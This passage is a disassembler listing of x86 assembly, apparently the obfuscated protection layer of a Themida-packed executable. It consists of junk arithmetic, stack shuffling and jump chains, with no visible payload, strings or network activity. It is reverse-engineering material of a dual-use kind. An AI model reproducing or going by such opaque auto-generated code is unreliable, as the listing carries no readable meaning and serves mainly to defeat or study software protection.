CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58BAF1: ; CODE XREF: Themida_:0058E637j mov bl, cl jmp loc_585884 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58BAF8: ; CODE XREF: sub_58C230-296Dj pop ebx sub ebx, 1 add ebx, 51F83076h xor ebx, 0B2B238BCh mov ecx, ebx mov ebx, [esp-0Ch+arg_8] add esp, 4 add esi, 7F0335h add esi, ecx push eax mov eax, 7F0335h sub esi, 27EA21C5h sub esi, eax jmp loc_58B82A ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_58BB2B: ; CODE XREF: Themida_:00584AD1j mov ecx, ebp pop ebp neg ecx sub ecx, 7F8D06DCh sub ecx, 18482F7Ch xor ecx, 0F8CEA548h add ebp, ecx jmp loc_58D1B1 ; =============== S U B R O U T I N E ======================================= sub_58BB49 proc near ; CODE XREF: sub_585452+280j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00584714 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005872A1 SIZE 0000003C BYTES ; FUNCTION CHUNK AT 005888D5 SIZE 0000000B BYTES push ebp mov ebp, 27221851h add [esp+8], ebp pop ebp add [esp+4], edx sub dword ptr [esp+4], 27221851h jmp loc_584714 sub_58BB49 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_58BB65: ; CODE XREF: Themida_:005875FCj xchg ecx, [esp] pop esp mov [esp], ebx jmp loc_589520 ; --------------------------------------------------------------------------- loc_58BB71: ; CODE XREF: Themida_:0058EEE5j pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx add edx, 4 push eax mov eax, 2 add edx, eax pop eax xchg edx, [esp] mov esp, [esp] dec word ptr [esp] pushf jmp loc_583C20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BB9A: ; CODE XREF: sub_585452+2B60j sub edx, eax mov eax, [esp+0] jmp loc_5869B2 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5862E8 loc_58BBA4: ; CODE XREF: sub_5862E8+62C4j add eax, ebp jmp loc_58B8C0 ; END OF FUNCTION CHUNK FOR sub_5862E8 ; --------------------------------------------------------------------------- loc_58BBAB: ; CODE XREF: Themida_:00584F86j sub eax, 441F0B51h add eax, 399D4BF9h add eax, edi jmp loc_583D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BBBC: ; CODE XREF: sub_585452+45ABj xchg dl, ch inc dl xchg dl, ch push bx mov bh, 58h add ch, bh jmp loc_58FA43 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- lodsb xor al, bl sub esp, 2 jmp loc_58BD5E ; --------------------------------------------------------------------------- loc_58BBDB: ; CODE XREF: Themida_:0058AB13j push ebp jmp loc_58B20C ; --------------------------------------------------------------------------- loc_58BBE1: ; CODE XREF: Themida_:005842BEj mov [esp], edx jmp loc_58F89C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BBE9: ; CODE XREF: sub_585452+2DBDj mov eax, [esp+32h+var_34+2] sub esp, 4 mov [esp+36h+var_38+2], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+36h+var_38+2] pop esp add ebp, 2 xchg ebp, [esp+32h+var_34+2] pop esp jmp loc_5865BD ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BE98 loc_58BC16: ; CODE XREF: sub_58BE98-40B1j add edi, 1 jmp loc_58F3B6 ; END OF FUNCTION CHUNK FOR sub_58BE98 ; --------------------------------------------------------------------------- loc_58BC1E: ; CODE XREF: Themida_:0058FB93j and ecx, 361B338Eh dec ecx jmp loc_5867A1 ; --------------------------------------------------------------------------- loc_58BC2A: ; CODE XREF: Themida_:00584B1Dj pop esi sub esp, 4 mov [esp], ecx jmp loc_588034 ; --------------------------------------------------------------------------- loc_58BC36: ; CODE XREF: Themida_:00588409j pop esp jmp loc_58EF5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BC3C: ; CODE XREF: sub_585452+411Cj push 15CCh mov [esp+3Eh+var_40+2], edi push 17252D2Bh jmp loc_58EC33 ; --------------------------------------------------------------------------- loc_58BC4E: ; CODE XREF: sub_585452+8ADCj add ebx, eax mov eax, [esp+42h+var_44+2] add esp, 4 pop small word ptr [eax] jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58BC61: ; CODE XREF: sub_585452-648j xchg esi, [esp-22h+arg_1E] pop esp push dword ptr [esp+0] pop ecx push eax push esp pop eax add eax, 4 jmp loc_586073 ; --------------------------------------------------------------------------- loc_58BC76: ; CODE XREF: sub_585452+5FABj or word ptr [esp-4+arg_0], ax pushf jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58BC80: ; CODE XREF: sub_58EFBD-6CA9j mov edx, 713E5592h sub edx, 630EFE52h or eax, edx pop edx shr eax, 7 add eax, 7BD6E880h jmp loc_5881E0 ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DA2E loc_58BC9B: ; CODE XREF: sub_58DA2E-262Aj mov bl, 92h xor ah, bl jmp loc_58CDF6 ; END OF FUNCTION CHUNK FOR sub_58DA2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5878BB loc_58BCA4: ; CODE XREF: sub_5878BB+3A9Ej pop dword ptr [edi+24h] ; END OF FUNCTION CHUNK FOR sub_5878BB ; =============== S U B R O U T I N E ======================================= sub_58BCA7 proc near ; CODE XREF: sub_585452+6C4Aj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00584255 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00585F32 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058640A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00586C5C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005888E0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00589CBF SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058A9D9 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058BCE2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058F733 SIZE 0000002D BYTES push ebx jmp loc_58BCE2 sub_58BCA7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58BCAD: ; CODE XREF: sub_589967+9BAj xchg edx, [esp+0] pop esp shr eax, 12h xor eax, ecx sub esp, 4 jmp loc_58D081 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BCBE: ; CODE XREF: sub_585452+6D1j mov [esp+4+var_4], eax jmp loc_589C44 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58BCC6: ; CODE XREF: Themida_:0058F05Fj pop ebp push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebp mov ebp, 55047E82h jmp loc_586EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BCA7 loc_58BCE2: ; CODE XREF: sub_58BCA7+1j push esp pop ebx push esi push ebx push ecx jmp loc_58A9D9 ; END OF FUNCTION CHUNK FOR sub_58BCA7 ; --------------------------------------------------------------------------- loc_58BCEC: ; CODE XREF: Themida_:00589E86j push small 43Ah mov [esp], ax jmp loc_589F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589967 loc_58BCF9: ; CODE XREF: sub_589967-3A14j add eax, 4 push esi mov esi, 74BC2FD9h push ebp mov ebp, 1D658E1h shl ebp, 2 dec ebp jmp loc_58DAD1 ; END OF FUNCTION CHUNK FOR sub_589967 ; --------------------------------------------------------------------------- loc_58BD13: ; CODE XREF: Themida_:0058DFA2j push ebx jmp loc_58B6C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589972 loc_58BD19: ; CODE XREF: sub_589972+3960j mov eax, [esp+0] push edx jmp loc_58FF3A ; END OF FUNCTION CHUNK FOR sub_589972 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_585DC4 ; --------------------------------------------------------------------------- loc_58BD2A: ; CODE XREF: Themida_:00588987j or ebx, ebp jmp loc_58E739 ; --------------------------------------------------------------------------- loc_58BD31: ; CODE XREF: Themida_:00589754j mov ecx, 2 jmp loc_585284 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58BD3B: ; CODE XREF: sub_58EFBD-A0B0j mov ecx, [ebx] mov ebx, [esp-4+arg_0] add esp, 4 push [esp-8+arg_4] pop eax jmp loc_5884FB ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BD4C: ; CODE XREF: sub_585452+433j add al, 0A1h jmp loc_58E69B ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58BD53: ; CODE XREF: Themida_:0058FEBDj add eax, edi pop edi mov esi, [esp] jmp loc_58984F ; --------------------------------------------------------------------------- loc_58BD5E: ; CODE XREF: Themida_:0058BBD6j mov [esp], bx jmp loc_58DD2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BD67: ; CODE XREF: sub_585452+17F7j sub al, bh pop ebx sub al, bl add al, 9Dh push edx mov dh, 9Bh or dh, 7Bh jmp loc_58CAB1 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58BD79: ; CODE XREF: Themida_:005885D8j jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58BD7E: ; CODE XREF: Themida_:00585073j add al, dl mov dx, [esp] add esp, 2 sub al, bl jmp loc_583C98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BD91: ; CODE XREF: sub_585452+1C59j mov ecx, 0B4B5F5Eh add eax, ecx jmp loc_584E82 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58BD9D: ; CODE XREF: sub_58C230-24B4j add ebp, 0EFF41968h jmp loc_58DA4C ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_583D0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BDB0: ; CODE XREF: sub_585452+9938j mov [esp+4Ah+var_4C+2], eax push esp mov eax, [esp+4Eh+var_50+2] add esp, 4 push 3BCDh jmp loc_588DB8 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58BDC7: ; CODE XREF: Themida_:00589207j mov esi, ecx pop ecx not esi shl esi, 3 or esi, 292370ACh inc esi sub esi, 6D7778B9h add edx, esi jmp loc_58ED1F ; --------------------------------------------------------------------------- loc_58BDE3: ; CODE XREF: Themida_:0058C3BBj add ebx, 657F59F2h mov edx, ebx pop ebx add ecx, edx jmp loc_585190 ; --------------------------------------------------------------------------- loc_58BDF3: ; CODE XREF: Themida_:0058E734j shr dh, 8 neg dh neg dh or dh, 0Eh inc dh sub dh, 6Ah mov ah, dh pop edx push eax mov ah, 0B6h or ah, 19h push ebx mov bl, 5Ah sub ah, bl pop ebx and ah, 0BEh and ah, 5Ch shl ah, 8 sub ah, 77h mov bh, ah pop eax sub bh, ah jmp loc_58C004 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BE27: ; CODE XREF: sub_585452+94D1j add ebp, 4 jmp loc_588B74 ; --------------------------------------------------------------------------- loc_58BE32: ; CODE XREF: sub_585452-16AEj mov edx, [esp+4+var_4] add esp, 4 pop ecx sub al, bh pop ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp-4+arg_0] jmp loc_58D652 ; --------------------------------------------------------------------------- loc_58BE56: ; CODE XREF: sub_585452+551Ej sub ah, ch pop cx sub bl, 0FBh add bl, ah push edx mov dh, 0Ah jmp loc_58C6EF ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5756 loc_58BE67: ; CODE XREF: sub_5B5756-2A8E0j dec dh mov ch, dh pop dx shl ch, 5 add ch, 5Bh sub ch, 1 shl ch, 2 add ch, 37h sub al, 43h sub al, 26h add al, ch add al, 26h push ecx jmp loc_587136 ; END OF FUNCTION CHUNK FOR sub_5B5756 ; --------------------------------------------------------------------------- mov ax, [esp] push 393Dh jmp loc_588EF4 ; =============== S U B R O U T I N E ======================================= sub_58BE98 proc near ; CODE XREF: sub_586B0E+4282j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00584433 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00586935 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00587401 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00587798 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00587DE6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00589126 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058BC16 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058D0CB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058F3B6 SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 0FD44638h xor edi, ecx push [esp+4+var_4] jmp loc_587401 sub_58BE98 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BEB0: ; CODE XREF: sub_585452+3168j xchg ebp, [esp-6+arg_0+2] pop esp jmp sub_58A4F5 ; --------------------------------------------------------------------------- loc_58BEB9: ; CODE XREF: sub_585452+3E56j add esp, 4 add eax, 0FFFFFFFFh jmp loc_586DDE ; --------------------------------------------------------------------------- loc_58BEC9: ; CODE XREF: sub_585452-2C7j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] xor al, dh mov dx, word ptr [esp+6+var_8+2] add esp, 2 add bl, 8 add bl, al push cx sub esp, 4 mov [esp+8+var_8], edx push eax mov ah, 3Ah jmp loc_589960 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58BEFB: ; CODE XREF: Themida_:00584A30j pop edx add cl, 0BCh mov dh, cl jmp loc_58E2BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BF06: ; CODE XREF: sub_585452+997Aj movzx ax, byte ptr [eax] push small 414Ah mov word ptr [esp+0Eh+var_10+2], ax jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58BF17: ; CODE XREF: Themida_:00585F6Fj mov [esp], edi mov edi, 4 sub dword ptr [esp+4], 1A5B3F72h add [esp+4], edi push eax mov eax, 1A5B3F72h add [esp+8], eax pop eax pop edi jmp loc_5896EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58BF3C: ; CODE XREF: sub_58EFBD-643Ej add esp, 4 loc_58BF42: ; CODE XREF: sub_58EFBD-776Bj ; sub_58EFBD-4854j push eax push ebx mov ebx, 24h mov eax, ebx pop ebx add eax, 76C11409h add eax, edi jmp loc_58DC47 ; --------------------------------------------------------------------------- loc_58BF58: ; CODE XREF: sub_58EFBD-29EAj xor edx, ebp push ebp push 709122C0h pop ebp xor edx, ebp jmp loc_5895BC ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BF68: ; CODE XREF: sub_585452+3E4Ej push [esp+0Ah+var_C+2] pop ebp sub esp, 4 mov [esp+0Eh+var_10+2], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0Eh+var_10+2] jmp loc_587AD0 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58BF88: ; CODE XREF: Themida_:00588AC5j mov si, 22E1h mov cx, si pop si push si mov si, 7E9Bh sub ax, si pop si push esi mov si, 1C34h shl si, 1 not si jmp loc_58ADC4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EFBD loc_58BFAC: ; CODE XREF: sub_58EFBD-4C2Dj mov esi, [esp-4+arg_0] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp and ebx, edx push [esp-4+arg_0] pop edx add esp, 4 or ebx, ebx jnz loc_58E9D8 push 7817h jmp loc_58757A ; END OF FUNCTION CHUNK FOR sub_58EFBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58BFDD: ; CODE XREF: sub_585452+28D6j mov ah, bh mov ebx, [esp-4+arg_0] jmp loc_58E8F7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_58DE21 ; --------------------------------------------------------------------------- loc_58C004: ; CODE XREF: Themida_:0058BE22j pop eax mov ch, bh mov bx, [esp] add esp, 2 jmp loc_584408 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C013: ; CODE XREF: sub_585452+52B8j sub al, bl pop ebx mov ebx, [esp+8+var_8] add esp, 4 push ecx jmp loc_58B147 ; --------------------------------------------------------------------------- loc_58C022: ; CODE XREF: sub_585452+8951j pop esi sub edx, 309F3D87h add edx, 0F43BC957h add eax, edx pop edx or eax, 57DE534Bh jmp loc_5852B9 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_586A34 loc_58C03C: ; CODE XREF: sub_586A34+6B01j mov eax, 5C843DC6h jmp loc_5840B1 ; END OF FUNCTION CHUNK FOR sub_586A34 ; --------------------------------------------------------------------------- loc_58C046: ; CODE XREF: Themida_:00583C9Aj sub esp, 4 jmp loc_588E4C ; --------------------------------------------------------------------------- loc_58C04E: ; CODE XREF: Themida_:00586E1Ej xor [esp], ebp xor ebp, [esp] mov esp, [esp] sub [esp], eax pushf jmp loc_583C20 ; --------------------------------------------------------------------------- loc_58C060: ; CODE XREF: Themida_:0058F0A0j shr si, 4 shr si, 5 add si, 6E9Eh jmp loc_58F465 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_587574 loc_58C072: ; CODE XREF: sub_587574+2164j add esp, 4 sub [edi+24h], ecx jmp loc_58663A ; END OF FUNCTION CHUNK FOR sub_587574 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C080: ; CODE XREF: sub_585452+4A0Aj push 0 sub [esp+1Ah+var_1C+2], edi pop edi add edi, 2B7F9E77h and eax, edi mov edi, [esp+16h+var_18+2] add esp, 4 or eax, eax jz sub_58BCA7 push dword ptr [edi+1Ch] push [esp+16h+var_18+2] pop ecx jmp loc_58FF5D ; --------------------------------------------------------------------------- loc_58C0AE: ; CODE XREF: sub_585452+916Aj xor eax, 0A8F66822h jmp loc_589D81 ; --------------------------------------------------------------------------- loc_58C0B8: ; CODE XREF: sub_585452+8435j xor eax, ebx xor ebx, eax xor eax, ebx push ebx jmp loc_5892F9 ; --------------------------------------------------------------------------- loc_58C0C4: ; CODE XREF: sub_585452+8FA9j sub ebp, 4 xchg ebp, [esp+1Ah+var_1C+2] jmp loc_5898F2 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C0D2: ; CODE XREF: Themida_:0058958Aj mov ebp, 6D00624Ch push ebx mov ebx, 3C2D7CB0h shr ebx, 7 push 0 add dword ptr [esp], 737D3046h sub [esp], ebx sub dword ptr [esp], 737D3046h pop ebx push ebp mov ebp, 5EB57869h and ebx, ebp pop ebp sub ebx, 0E4DD508h jmp loc_58571F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C10B: ; CODE XREF: sub_585452+5848j push dword ptr [edi+1Ch] jmp loc_58CB71 ; --------------------------------------------------------------------------- loc_58C113: ; CODE XREF: sub_585452+2C5Bj mov [esp-6+arg_0+2], ecx push esp mov ecx, [esp+0] add esp, 4 push edi mov edi, 67D8666Dh jmp loc_58C84B ; --------------------------------------------------------------------------- loc_58C128: ; CODE XREF: sub_585452+A401j pop esp retn ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- jmp loc_587547 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C12F: ; CODE XREF: sub_585452-86Fj add [esp-1Ch+arg_16+2], eax sub [esp-1Ch+arg_16+2], 6801D10h push ecx mov ecx, 4F2B74B1h sub [esp-18h+arg_16+2], ecx jmp loc_584BCA ; --------------------------------------------------------------------------- loc_58C148: ; CODE XREF: sub_585452+E7Aj xchg esi, [esp+3Eh+var_40+2] jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_589C10 loc_58C150: ; CODE XREF: sub_589C10+459Aj mov eax, 92EB8F7Bh jmp loc_5894BF ; END OF FUNCTION CHUNK FOR sub_589C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C15A: ; CODE XREF: sub_585452+8143j mov edi, 31080007h shr edi, 8 push ebp mov ebp, 280E20ACh inc ebp xchg edi, ebp inc edi xchg edi, ebp and ebp, 705F2F5Fh push 0 sub [esp+46h+var_48+2], ebp pop ebp or ebp, 3F3704F1h push ebx mov ebx, 0E6E6FCDh sub ebx, 0C684F09h sub ebx, 4398572Eh sub ebp, ebx pop ebx xor edi, ebp pop ebp add edi, 0BF2F0975h push ecx jmp loc_589820 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58960C loc_58C1A7: ; CODE XREF: sub_58960C+16j mov esi, ebp jmp loc_5851E0 ; END OF FUNCTION CHUNK FOR sub_58960C ; --------------------------------------------------------------------------- loc_58C1AE: ; CODE XREF: Themida_:0058AFC8j mov [esp], eax mov eax, 4E9D65FBh inc eax dec eax xor eax, 4D1048DBh mov edx, eax pop eax push edx not dword ptr [esp] pop edx add edx, 1 push edi mov edi, 7B390643h sub edx, edi jmp loc_58A21E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C1D5: ; CODE XREF: sub_585452-134j add ecx, ebx jmp loc_58DB1D ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push edx push esp pop edx sub esp, 4 mov [esp], esi push ecx mov ecx, 0EB24694h or ecx, 0A753E35h not ecx jmp loc_5891F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C1FC: ; CODE XREF: sub_585452+7742j xor al, ch pop ecx push eax mov eax, esp add eax, 4 sub eax, 2 xchg eax, [esp+4+var_4] pop esp mov [esp+0], dx jmp loc_58D2A7 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- loc_58C219: ; CODE XREF: Themida_:0058440Ej add al, 0E5h sub al, 4Bh jmp loc_58CE02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C222: ; CODE XREF: sub_585452+5114j mov ebx, 69990411h add ebp, ebx pop ebx pop esi jmp loc_58ACD5 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58C230 proc near ; CODE XREF: sub_585452+6A9j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00583F60 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00584BE8 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005853D8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058665C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00587263 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00587326 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00587D3A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005887CC SIZE 00000050 BYTES ; FUNCTION CHUNK AT 00588D38 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00588E2F SIZE 00000001 BYTES ; FUNCTION CHUNK AT 005891D9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005898BE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00589D65 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058B5A5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058B82A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058BAF8 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0058BD9D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058C2C6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058C8A4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058CC40 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058D333 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058D370 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058D522 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058D954 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058DA4C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058ED45 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058F2A6 SIZE 00000013 BYTES push ebx add [esp-4+arg_0], 772D3419h pop ebp sub ebp, 772D3419h pop ebx add [esp+4], ebp jmp loc_58B5A5 sub_58C230 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C249: ; CODE XREF: sub_585452+8B99j add esp, 4 pop eax xor eax, 46E87530h mov ebx, [esp+32h+var_34+2] add esp, 4 jmp loc_589DBA ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58A170 loc_58C25D: ; CODE XREF: sub_58A170-5894j sub al, ch jmp loc_58FEA2 ; END OF FUNCTION CHUNK FOR sub_58A170 ; --------------------------------------------------------------------------- loc_58C264: ; CODE XREF: Themida_:00586EECj push edi mov edi, esp add edi, 4 jmp loc_58E1EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C272: ; CODE XREF: sub_585452+8C8Cj mov [esp+2Eh+var_30+2], edx push esp push [esp+32h+var_34+2] pop edx add esp, 4 add edx, 4 add edx, 4 xor edx, [esp+2Eh+var_30+2] xor [esp+2Eh+var_30+2], edx xor edx, [esp+2Eh+var_30+2] mov esp, [esp+2Eh+var_30+2] jmp loc_583C20 ; END OF FUNCTION CHUNK FOR sub_585452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EA34 loc_58C29A: ; CODE XREF: sub_58EA34-1A6Fj cmp cx, ax pushf jmp loc_58FDB9 ; END OF FUNCTION CHUNK FOR sub_58EA34 ; --------------------------------------------------------------------------- loc_58C2A3: ; CODE XREF: Themida_:00584D9Cj mov dx, [esp] add esp, 2 add al, bh pop ebx sub al, 5Ah sub al, 41h sub al, bl sub esp, 2 mov [esp], bx push ecx push edx mov dh, 0C3h add dh, 8Ah jmp loc_585B0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C230 loc_58C2C6: ; CODE XREF: sub_58C230-9F7j mov ecx, [esp+0] add esp, 4 jmp loc_58665C ; END OF FUNCTION CHUNK FOR sub_58C230 ; --------------------------------------------------------------------------- loc_58C2D4: ; CODE XREF: Themida_:0058AD1Dj mov [esp], bp push si jmp loc_58E487 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 loc_58C2DF: ; CODE XREF: sub_585452+41B5j pop eax sub ecx, 4 xor ecx, [esp+4+var_4] xor [esp+4+var_4], ecx xor ecx, [esp+4+var_4] pop esp mov [esp+0], ebx mov ebx, 4 jmp loc_58D166 ; --------------------------------------------------------------------------- loc_58C2FA: ; CODE XREF: sub_585452+71E5j pop dword ptr [esp+0] mov esp, [esp-4+arg_0] mov ax, word ptr [esp-4+arg_0] sub esp, 4 mov [esp+0], eax push 2524h mov [esp+4+var_4], esp add [esp+4+var_4], 4 pop eax jmp loc_589130 ; END OF FUNCTION CHUNK FOR sub_585452 ; =============== S U B R O U T I N E ======================================= sub_58C31F proc near ; CODE XREF: sub_585452+2513j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058837B SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00589D89 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058B381 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058C8DB SIZE 0000000B BYTES push ebp push eax mov eax, 6FB63553h jmp loc_58B381 sub_58C31F endp ; --------------------------------------------------------------------------- loc_58C32B: ; CODE XREF: Themida_:0058E972j mov [esp], ecx push ebx mov ebx, 4 mov ecx, ebx pop ebx add eax, ecx pop ecx jmp loc_586304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_585452 